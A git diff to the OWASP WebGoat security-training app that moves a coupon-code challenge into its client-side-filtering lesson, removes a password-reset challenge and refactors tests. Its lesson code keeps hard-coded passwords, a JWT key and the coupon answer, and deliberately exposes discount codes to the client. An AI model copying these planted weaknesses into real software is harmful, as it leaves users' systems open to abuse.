b/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js @@ -25,6 +25,9 @@ define(['jquery', self.navToPage(page); } }); + setInterval(function () { + this.updatePagination(); + }.bind(this), 5000); }, findPage: function(assignment) { @@ -56,11 +59,13 @@ define(['jquery', var currentPage = (!isNaN(startPageNum) && startPageNum && startPageNum < this.$contentPages) ? startPageNum : 0; //init views & pagination this.showCurContentPage(currentPage); - this.paginationControlView = new PaginationControlView(this.$contentPages,this.model.get('lessonUrl')); + this.paginationControlView = new PaginationControlView(this.$contentPages,this.model.get('lessonUrl'),startPageNum); }, updatePagination: function() { - this.paginationControlView.updateCollection(); + if ( this.paginationControlView != undefined ) { + this.paginationControlView.updateCollection(); + } }, getCurrentPage: function () { @@ -85,6 +90,8 @@ define(['jquery', var prepareDataFunctionName = $(curForm).attr('prepareData'); var callbackFunctionName = $(curForm).attr('callback'); var submitData = (typeof webgoat.customjs[prepareDataFunctionName] === 'function') ? webgoat.customjs[prepareDataFunctionName]() : $(curForm).serialize(); + var additionalHeadersFunctionName = $(curForm).attr('additionalHeaders'); + var additionalHeaders = (typeof webgoat.customjs[additionalHeadersFunctionName] === 'function') ? webgoat.customjs[additionalHeadersFunctionName]() : function() {}; var successCallBackFunctionName = $(curForm).attr('successCallback'); var failureCallbackFunctionName = $(curForm).attr('failureCallback'); var callbackFunction = (typeof webgoat.customjs[callbackFunctionName] === 'function') ? webgoat.customjs[callbackFunctionName] : function() {}; @@ -99,6 +106,7 @@ define(['jquery', $.ajax({ //data:submitData, url:formUrl, + headers: additionalHeaders, method:formMethod, contentType:contentType, data: submitData, @@ -146,14 +154,23 @@ define(['jquery', return false; }, + removeSlashesFromJSON: function(str) { + // slashes are leftover escapes from JSON serialization by server + // for every two char sequence starting with backslash, + // replace them in the text with second char only + return str.replace(/\\(.)/g, "$1"); + }, + renderFeedback: function(feedback) { - this.$curFeedback.html(polyglot.t(feedback) || ""); + var s = this.removeSlashesFromJSON(feedback); + this.$curFeedback.html(polyglot.t(s) || ""); this.$curFeedback.show(400) }, renderOutput: function(output) { - this.$curOutput.html(polyglot.t(output) || ""); + var s = this.removeSlashesFromJSON(output); + this.$curOutput.html(polyglot.t(s) || ""); this.$curOutput.show(400) }, @@ -173,13 +190,19 @@ define(['jquery', return endpoints; }, + onNavToPage: function(pageNum) { + var assignmentPaths = this.findAssigmentEndpointsOnPage(pageNum); + this.trigger('endpoints:filtered',assignmentPaths); + }, + navToPage: function (pageNum) { this.paginationControlView.setCurrentPage(pageNum);//provides validation this.showCurContentPage(this.paginationControlView.currentPage); this.paginationControlView.render(); this.paginationControlView.hideShowNavButtons(); - var assignmentPaths = this.findAssigmentEndpointsOnPage(pageNum); - this.trigger('endpoints:filtered',assignmentPaths); + this.onNavToPage(pageNum); + //var assignmentPaths = this.findAssigmentEndpointsOnPage(pageNum); + //this.trigger('endpoints:filtered',assignmentPaths); }, /* for testing */ diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/PaginationControlView.js b/webgoat-container/src/main/resources/static/js/goatApp/view/PaginationControlView.js index 2dcecf136..7dac8f063 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/view/PaginationControlView.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/view/PaginationControlView.js @@ -12,14 +12,14 @@ define(['jquery', template: PaginationTemplate, el: '#lesson-page-controls', - initialize: function ($contentPages,baseLessonUrl) { + initialize: function ($contentPages,baseLessonUrl,initPageNum) { this.$contentPages = $contentPages; this.collection = new LessonOverviewCollection(); this.listenTo(this.collection, 'reset', this.render); this.numPages = this.$contentPages.length; this.baseUrl = baseLessonUrl; this.collection.fetch({reset:true}); - this.initPagination(); + this.initPagination(initPageNum); //this.render(); }, @@ -117,9 +117,9 @@ define(['jquery', $('span.glyphicon-class.glyphicon.glyphicon-circle-arrow-right.show-next-page').hide(); }, - initPagination: function() { - //track pagination state in this view ... start at 0 - this.currentPage = 0; + initPagination: function(initPageNum) { + //track pagination state in this view ... start at 0 .. unless a pageNum was provided + this.currentPage = !initPageNum ? 0 : initPageNum; }, setCurrentPage: function (pageNum) { diff --git a/webgoat-container/src/main/resources/static/js/main.js b/webgoat-container/src/main/resources/static/js/main.js index 4715858cd..4c77d9c0f 100644 --- a/webgoat-container/src/main/resources/static/js/main.js +++ b/webgoat-container/src/main/resources/static/js/main.js @@ -30,7 +30,7 @@ require.config({ shim: { "jqueryui": { exports:"$", - deps: ['jquery'] + deps: ['libs/jquery-2.1.4.min'] }, underscore: { exports: "_" diff --git a/webgoat-container/src/main/resources/templates/main_new.html b/webgoat-container/src/main/resources/templates/main_new.html index 07f8143c8..eadb722c3 100644 --- a/webgoat-container/src/main/resources/templates/main_new.html +++ b/webgoat-container/src/main/resources/templates/main_new.html @@ -76,24 +76,25 @@ - - -
- + + + diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/assignments/AssignmentEndpointTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/assignments/AssignmentEndpointTest.java index 1f9628fb0..dc0c7a481 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/assignments/AssignmentEndpointTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/assignments/AssignmentEndpointTest.java @@ -62,7 +62,7 @@ public class AssignmentEndpointTest { public void init(AssignmentEndpoint a) { messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels"); - when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); + when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker); ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository); ReflectionTestUtils.setField(a, "userSessionData", userSessionData); ReflectionTestUtils.setField(a, "webSession", webSession); diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonMenuServiceTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonMenuServiceTest.java index d71126d82..196610274 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonMenuServiceTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonMenuServiceTest.java @@ -63,7 +63,7 @@ public class LessonMenuServiceTest { when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2)); when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL)); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); - when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); + when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker); mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC)) .andExpect(status().isOk()) @@ -81,7 +81,7 @@ public class LessonMenuServiceTest { when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1)); when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL)); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); - when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); + when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker); mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC)) diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonProgressServiceTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonProgressServiceTest.java index 2ca3e9169..cdab7c84f 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonProgressServiceTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonProgressServiceTest.java @@ -72,7 +72,7 @@ public class LessonProgressServiceTest { @Before public void setup() { Assignment assignment = new Assignment("test", "test"); - when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); + when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); when(websession.getCurrentLesson()).thenReturn(lesson); when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true)); diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java index e1b6f639f..f35c4131d 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java @@ -6,6 +6,7 @@ import org.junit.Test; import org.junit.runner.RunWith; import org.mockito.Mock; import org.mockito.runners.MockitoJUnitRunner; +import org.owasp.webgoat.i18n.PluginMessages; import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.WebSession; @@ -40,10 +41,13 @@ public class ReportCardServiceTest { private UserTrackerRepository userTrackerRepository; @Mock private WebSession websession; + @Mock + private PluginMessages pluginMessages; @Before public void setup() { - this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course)).build(); + this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course, pluginMessages)).build(); + when(pluginMessages.getMessage(anyString())).thenReturn("Test"); } @Test @@ -53,7 +57,7 @@ public class ReportCardServiceTest { when(course.getTotalOfLessons()).thenReturn(1); when(course.getTotalOfAssignments()).thenReturn(10); when(course.getLessons()).thenReturn(Lists.newArrayList(lesson)); - when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); + when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc")) .andExpect(status().isOk()) diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/users/UserTrackerRepositoryTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/users/UserTrackerRepositoryTest.java index 5c8092c13..142a6c8c7 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/users/UserTrackerRepositoryTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/users/UserTrackerRepositoryTest.java @@ -62,7 +62,7 @@ public class UserTrackerRepositoryTest { userTrackerRepository.save(userTracker); - userTracker = userTrackerRepository.findOne("test"); + userTracker = userTrackerRepository.findByUser("test"); Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull(); } @@ -77,7 +77,7 @@ public class UserTrackerRepositoryTest { userTrackerRepository.saveAndFlush(userTracker); - userTracker = userTrackerRepository.findOne("test"); + userTracker = userTrackerRepository.findByUser("test"); Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1); } @@ -90,7 +90,7 @@ public class UserTrackerRepositoryTest { userTracker.assignmentFailed(lesson); userTrackerRepository.saveAndFlush(userTracker); - userTracker = userTrackerRepository.findOne("test"); + userTracker = userTrackerRepository.findByUser("test"); userTracker.assignmentFailed(lesson); userTracker.assignmentFailed(lesson); userTrackerRepository.saveAndFlush(userTracker); diff --git a/webgoat-container/src/test/resources/logback-test.xml b/webgoat-container/src/test/resources/logback-test.xml index adfa02c68..2ee84585a 100644 --- a/webgoat-container/src/test/resources/logback-test.xml +++ b/webgoat-container/src/test/resources/logback-test.xml @@ -1 +1,15 @@ - \ No newline at end of file + + + + + \ No newline at end of file diff --git a/webgoat-lessons/auth-bypass/pom.xml b/webgoat-lessons/auth-bypass/pom.xml index f0242337f..2e63e366a 100644 --- a/webgoat-lessons/auth-bypass/pom.xml +++ b/webgoat-lessons/auth-bypass/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/bypass-restrictions/pom.xml b/webgoat-lessons/bypass-restrictions/pom.xml index 3d05db060..4e8455ae4 100755 --- a/webgoat-lessons/bypass-restrictions/pom.xml +++ b/webgoat-lessons/bypass-restrictions/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/challenge/pom.xml b/webgoat-lessons/challenge/pom.xml index a35c0b48a..69db4dd4d 100644 --- a/webgoat-lessons/challenge/pom.xml +++ b/webgoat-lessons/challenge/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java index fe9d66466..7d5c85967 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java @@ -46,7 +46,6 @@ public class Flag extends Endpoint { @PostConstruct public void initFlags() { IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString())); - FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue())); } @Override diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java index 886565dc8..333d29b2c 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java @@ -10,11 +10,8 @@ public interface SolutionConstants { //TODO should be random generated when starting the server String PASSWORD = "!!webgoat_admin_1234!!"; - String SUPER_COUPON_CODE = "get_it_for_free"; String PASSWORD_TOM = "thisisasecretfortomonly"; String PASSWORD_LARRY = "larryknows"; String JWT_PASSWORD = "victory"; String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2"; - String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; - String TOM_EMAIL = "tom@webgoat-cloud.org"; } diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java deleted file mode 100644 index c13a6e4c8..000000000 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java +++ /dev/null @@ -1,39 +0,0 @@ -package org.owasp.webgoat.plugin.challenge9; - -import com.google.common.collect.Lists; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.NewLesson; - -import java.util.List; - -/** - * @author nbaars - * @since 3/21/17. - */ -public class Challenge9 extends NewLesson { - - @Override - public Category getDefaultCategory() { - return Category.CHALLENGE; - } - - @Override - public List getHints() { - return Lists.newArrayList(); - } - - @Override - public Integer getDefaultRanking() { - return 10; - } - - @Override - public String getTitle() { - return "challenge9.title"; - } - - @Override - public String getId() { - return "Challenge9"; - } -} diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge2.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge2.html deleted file mode 100644 index 777761ed1..000000000 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge2.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - -
-
- - -
-
- -
-
- - -
- -
- -
-
-

Samsung Galaxy S8

-
Samsung · - (124421 reviews) -
- -
- PRICE -
-

US $899

- -
-
- COLOR -
-
-
-
-
-
-
-
- CAPACITY -
-
-
64 GB
-
128 GB
-
-
-
-
- QUANTITY -
-
-
- -
-
-
- -
-
- CHECKOUT CODE -
- - - -
- -
- -
- Like
-
-
-
- -
-
-
-
-
-
-
- -
-
- -
-
- -
- -
-
-
-
-
- - \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html deleted file mode 100644 index 49cc34ca9..000000000 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - -
-
- - -
-
- -
-
-
-

- - Account Access -

-
-
-
-
- @ - -
-
- - - - - -
-
- -

- - Forgot your password? - -

-
-
-
-
- -
-
-
- -
-
-
-
-
- -
-
- -
-
- -
- -
-
-
-
-
- - \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties index 40f882656..e79acbac5 100644 --- a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties @@ -22,8 +22,7 @@ challenge.flag.incorrect=Sorry this is not the correct flag, please try again. ip.address.unknown=IP address unknown, e-mail has been sent. -login_failed=Login failed -login_failed.tom=Sorry only Tom can login at the moment + required4=Missing username or password, please specify both. user.not.larry=Please try to log in as Larry not {0}. \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge9.js b/webgoat-lessons/challenge/src/main/resources/js/challenge9.js deleted file mode 100644 index eccbd7d33..000000000 --- a/webgoat-lessons/challenge/src/main/resources/js/challenge9.js +++ /dev/null @@ -1,10 +0,0 @@ -$(document).ready(function() { - $('#login').click(function(e) { - e.preventDefault(); - $('div#form-login').toggle('500'); - }); - $('#forgot').click(function(e) { - e.preventDefault(); - $('div#form-login').toggle('500'); - }); -}); \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc deleted file mode 100644 index f2e2c1c9b..000000000 --- a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc +++ /dev/null @@ -1,3 +0,0 @@ -Tom always resets his password immediately after receiving the email with the link. -Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with -that password. diff --git a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/Assignment2Test.java b/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/Assignment2Test.java deleted file mode 100644 index edf70df28..000000000 --- a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/Assignment2Test.java +++ /dev/null @@ -1,49 +0,0 @@ -package org.owasp.webgoat.plugin.challenge2; - -import org.hamcrest.CoreMatchers; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.mockito.runners.MockitoJUnitRunner; -import org.owasp.webgoat.assignments.AssignmentEndpointTest; -import org.owasp.webgoat.plugin.Flag; -import org.owasp.webgoat.plugin.SolutionConstants; -import org.springframework.test.web.servlet.MockMvc; -import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; - -import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; -import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; - -/** - * @author nbaars - * @since 5/2/17. - */ -@RunWith(MockitoJUnitRunner.class) -public class Assignment2Test extends AssignmentEndpointTest { - - private MockMvc mockMvc; - - @Before - public void setup() { - Assignment2 assignment2 = new Assignment2(); - init(assignment2); - new Flag().initFlags(); - this.mockMvc = standaloneSetup(assignment2).build(); - } - - @Test - public void success() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/challenge/2") - .param("checkoutCode", SolutionConstants.SUPER_COUPON_CODE)) - .andExpect(jsonPath("$.feedback", CoreMatchers.containsString("flag: " + Flag.FLAGS.get(2)))) - .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); - } - - @Test - public void wrongCouponCode() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/challenge/2") - .param("checkoutCode", "test")) - .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved")))) - .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); - } -} \ No newline at end of file diff --git a/webgoat-lessons/client-side-filtering/pom.xml b/webgoat-lessons/client-side-filtering/pom.xml index 6c7af20ab..b60276ec5 100644 --- a/webgoat-lessons/client-side-filtering/pom.xml +++ b/webgoat-lessons/client-side-filtering/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFiltering.java b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFiltering.java index 98a7c4172..84596b1ba 100644 --- a/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFiltering.java +++ b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFiltering.java @@ -56,7 +56,7 @@ public class ClientSideFiltering extends NewLesson { @Override public String getTitle() { - return "Client side filtering"; + return "client.side.filtering.title"; } @Override diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Assignment2.java b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java similarity index 52% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Assignment2.java rename to webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java index d46535589..d27e67c86 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Assignment2.java +++ b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java @@ -1,9 +1,9 @@ -package org.owasp.webgoat.plugin.challenge2; +package org.owasp.webgoat.plugin; import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.plugin.Flag; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; @@ -11,22 +11,23 @@ import org.springframework.web.bind.annotation.ResponseBody; import java.io.IOException; -import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE; - /** * @author nbaars * @since 4/6/17. */ -@AssignmentPath("/challenge/2") -public class Assignment2 extends AssignmentEndpoint { +@AssignmentPath("/clientSideFiltering/getItForFree") +@AssignmentHints({"client.side.filtering.free.hint1", "client.side.filtering.free.hint2", "client.side.filtering.free.hint3"}) +public class ClientSideFilteringFreeAssignment extends AssignmentEndpoint { + + public static final String SUPER_COUPON_CODE = "get_it_for_free"; @RequestMapping(method = RequestMethod.POST) public @ResponseBody - AttackResult completed(@RequestParam String checkoutCode) throws IOException { + AttackResult completed(@RequestParam String checkoutCode) { if (SUPER_COUPON_CODE.equals(checkoutCode)) { - return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(2)).build(); + return trackProgress(success().build()); } - return failed().build(); + return trackProgress(failed().build()); } } diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/ShopEndpoint.java b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ShopEndpoint.java similarity index 89% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/ShopEndpoint.java rename to webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ShopEndpoint.java index 12c929492..de3efb0dc 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/ShopEndpoint.java +++ b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ShopEndpoint.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.challenge2; +package org.owasp.webgoat.plugin; import com.beust.jcommander.internal.Lists; import lombok.AllArgsConstructor; @@ -12,21 +12,21 @@ import org.springframework.web.bind.annotation.RestController; import java.util.List; import java.util.Optional; -import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE; +import static org.owasp.webgoat.plugin.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE; /** * @author nbaars * @since 4/6/17. */ @RestController -@RequestMapping("challenge-store") +@RequestMapping("/clientSideFiltering/challenge-store") public class ShopEndpoint { @AllArgsConstructor private class CheckoutCodes { @Getter - private List codes = Lists.newArrayList(); + private List codes; public Optional get(String code) { return codes.stream().filter(c -> c.getCode().equals(code)).findFirst(); diff --git a/webgoat-lessons/challenge/src/main/resources/css/challenge2.css b/webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/css/challenge2.css rename to webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html b/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html index 7e861d4ee..fba83fe8d 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html +++ b/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html @@ -73,7 +73,96 @@
+
+
+ + +
+
+
+
+ + +
+ +
+ +
+
+

Samsung Galaxy S8

+
Samsung · + (124421 reviews) +
+ +
+ PRICE +
+

US $899

+ +
+
+ COLOR +
+
+
+
+
+
+
+
+ CAPACITY +
+
+
64 GB
+
128 GB
+
+
+
+
+ QUANTITY +
+
+
+ +
+
+
+ +
+
+ CHECKOUT CODE +
+ + + +
+ +
+ +
+ Like
+
+
+
+ +
+
+
+
+
+
+
+
diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties index a5a163cad..0288c3ddf 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties @@ -1,3 +1,4 @@ +client.side.filtering.title=Client side filtering ClientSideFilteringSelectUser=Select user: ClientSideFilteringUserID=User ID ClientSideFilteringFirstName=First Name @@ -25,3 +26,7 @@ ClientSideFilteringHint10=Stage 2: Your filter operator should look something li ClientSideFilteringInstructions1=STAGE 1: You are logged in as Moe Stooge, CSO of Goat Hills Financial. You have access to everyone in the company's information, except the CEO, . Or at least you shouldn't have access to the CEO's information. For this exercise, examine the contents of the page to see what extra information you can find. ClientSideFilteringInstructions2=STAGE 2: Now, fix the problem. Modify the server to only return results that Moe Stooge is allowed to see. ClientSideFiltering.incorrect=This is not the salary from Neville Bartholomew... + +client.side.filtering.free.hint1=Look through the webpage inspect the sources etc +client.side.filtering.free.hint2=Try to see the flow of request from the page to the backend +client.side.fiterling.free.hint3=One of the responses contains the answer diff --git a/webgoat-lessons/challenge/src/main/resources/images/samsung-black.jpg b/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/samsung-black.jpg rename to webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/images/samsung-grey.jpg b/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/samsung-grey.jpg rename to webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge2.js b/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js similarity index 94% rename from webgoat-lessons/challenge/src/main/resources/js/challenge2.js rename to webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js index 78df37939..5ea768875 100644 --- a/webgoat-lessons/challenge/src/main/resources/js/challenge2.js +++ b/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js @@ -38,7 +38,7 @@ $(document).ready(function () { }) $(".checkoutCode").on("blur", function () { var checkoutCode = $(".checkoutCode").val(); - $.get("challenge-store/coupons/" + checkoutCode, function (result, status) { + $.get("clientSideFiltering/challenge-store/coupons/" + checkoutCode, function (result, status) { var discount = result.discount; if (discount > 0) { $('#discount').text(discount); diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_2.adoc b/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_2.adoc rename to webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc diff --git a/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignmentTest.java b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignmentTest.java new file mode 100644 index 000000000..956dde343 --- /dev/null +++ b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignmentTest.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.plugin; + +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.runners.MockitoJUnitRunner; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; + +/** + * @author nbaars + * @since 5/2/17. + */ +@RunWith(SpringJUnit4ClassRunner.class) +public class ClientSideFilteringFreeAssignmentTest 